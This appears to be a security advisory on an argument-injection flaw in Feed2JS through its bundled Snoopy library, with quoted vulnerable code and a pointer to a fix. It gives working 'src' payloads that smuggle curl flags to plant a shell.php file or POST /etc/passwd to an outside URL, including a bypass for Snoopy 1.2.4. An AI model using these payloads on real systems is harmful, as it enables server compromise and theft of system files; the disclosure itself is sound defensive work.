Feed2JS File Disclosure

`Feed2JS is a tool for user-friendly(developer-wise) embedding the RSS  
feeds on the pages without messing with XML.  
  
I’ve found out today that it’s vulnerable to local file disclosure  
(all your /etc/passwds could be stolen).  
It could be used for remote file inclusion as well.  
  
tl;dr – fixed files at the bottom of the post  
  
Feed2JS uses MagpieRSS for parsing the feeds, and MagpieRSS uses  
Snoopy library for fetching the documents:  
  
Snoopy - the PHP net client  
Author: Monte Ohrt <[email protected]>  
Copyright (c): 1999-2000 ispi, all rights reserved  
Version: 1.0  
  
  
Snoopy 1.0 is 12 years old (sic!),6 years ago someone ‘found’ a  
vulnerability in Snoopy 1.2.3:  
  
CVE-2008-4796:  
The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3  
and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,  
(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,  
allows remote attackers to execute arbitrary commands via shell  
metacharacters in https URLs.  
  
But this was actually discovered 3 years prior to that(9 years ago!):  
  
CVE-2005-3330  
The _httpsrequest function in Snoopy 1.2, as used in products such as  
(1) MagpieRSS, (2) WordPress, (3) Ampache, and (4) Jinzora, allows  
remote attackers to execute arbitrary commands via shell  
metacharacters in an HTTPS URL to an SSL protected web page, which is  
not properly handled by the fetch function.  
  
As you can see, Snoopy 1.0 is definetely older than v1.2.3, so the  
_httpsrequest function should be vulnerable in the Snoopy library used  
in Feed2JS, even though I read somewhere that this issue is fixed in  
Magpie 0.7.2(it’s not)..  
  
Some code snippets from Feed2JS/Magpie:  
  
  
extlib/Snoopy.class.inc  
  
/*======================================================================*\  
Function: fetch  
Purpose: fetch the contents of a web page  
(and possibly other protocols in the  
future like ftp, nntp, gopher, etc.)  
Input: $URI the location of the page to fetch  
Output: $this->results the output text from the fetch  
\*======================================================================*/  
  
function fetch($URI)  
{  
$URI_PARTS = parse_url($URI);  
switch($URI_PARTS["scheme"])  
{  
case "https":  
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");  
$this->_httpsrequest($path, $URI, $this->_httpmethod);  
break;  
}  
}  
  
/*======================================================================*\  
Function: _httpsrequest  
Purpose: go get the https data from the server using curl  
Input: $url the url to fetch  
$URI the full URI  
$body body contents to send if any (POST)  
Output:  
\*======================================================================*/  
  
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")  
{  
...  
exec($this->curl_path." -D  
\"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)."  
".escapeshellcmd($URI),$results,$return);  
...  
}  
  
I cringe every time when I see “exec” functions, so lets check whats  
wrong in using it ..  
  
From php.net:  
  
Warning  
escapeshellcmd() should be used on the whole command string, and it  
still allows the attacker to pass arbitrary number of arguments. For  
escaping a single argumentescapeshellarg() should be used instead.  
  
You can pass additional curl arguments (you can check curl manual @  
http://curl.haxx.se/docs/manpage.html), for example:  
  
?src=https://example.com/%20-H"something:test"  
  
This code will send something:test in the headers (can be used to get  
sensitive information about the server).  
  
You can also download a file and save it locally using curl -o flag.  
  
?src=https://example.com/shell%20-o"cache/shell.php"  
  
this will download https://example.com/shell and save it into cache/  
directory (which has 777 permissions by design)  
  
Or you can submit  
  
?src=https://example.com/%20-F%20"file=@/etc/passwd"  
  
to get the /etc/passwd POSTed to your malicious URL and save it using  
$_FILES['file'].  
  
Snoopy 1.2.4 is vulnerable as well, so this IS kind-of a  
0day(2005-3330 / 2008-4796 wasn't fixed properly)..  
  
Snoopy 1.2.4 ‘fixed’ the CVE-2008-4796 by using quotes around the  
escapeshellcmd, but it is still vulnerable, you can exploit it like  
this:  
  
?src=https://example.com/"%20-F%20"file=@/etc/passwd  
  
To fix this, you need to use escapeshellarg instead of escapeshellcmd  
so that it's only possible to use 1 argument.  
  
Snoopy 1.2.4 also lacks gzip support and messed up the compatibility  
with MagpieRSS..  
  
Fixed version of Snoopy.class.inc is here:  
  
https://raw.githubusercontent.com/cogdog/feed2js/master/magpie/extlib/Snoopy.class.inc  
  
P.S. original post at  
http://mstrokin.com/sec/feed2js-magpierss-0day-vulnerability-not-really-it-is-actually-cve-2005-3330-cve-2008-4796/  
  
P.P.S should I request a CVE?  
  
  
`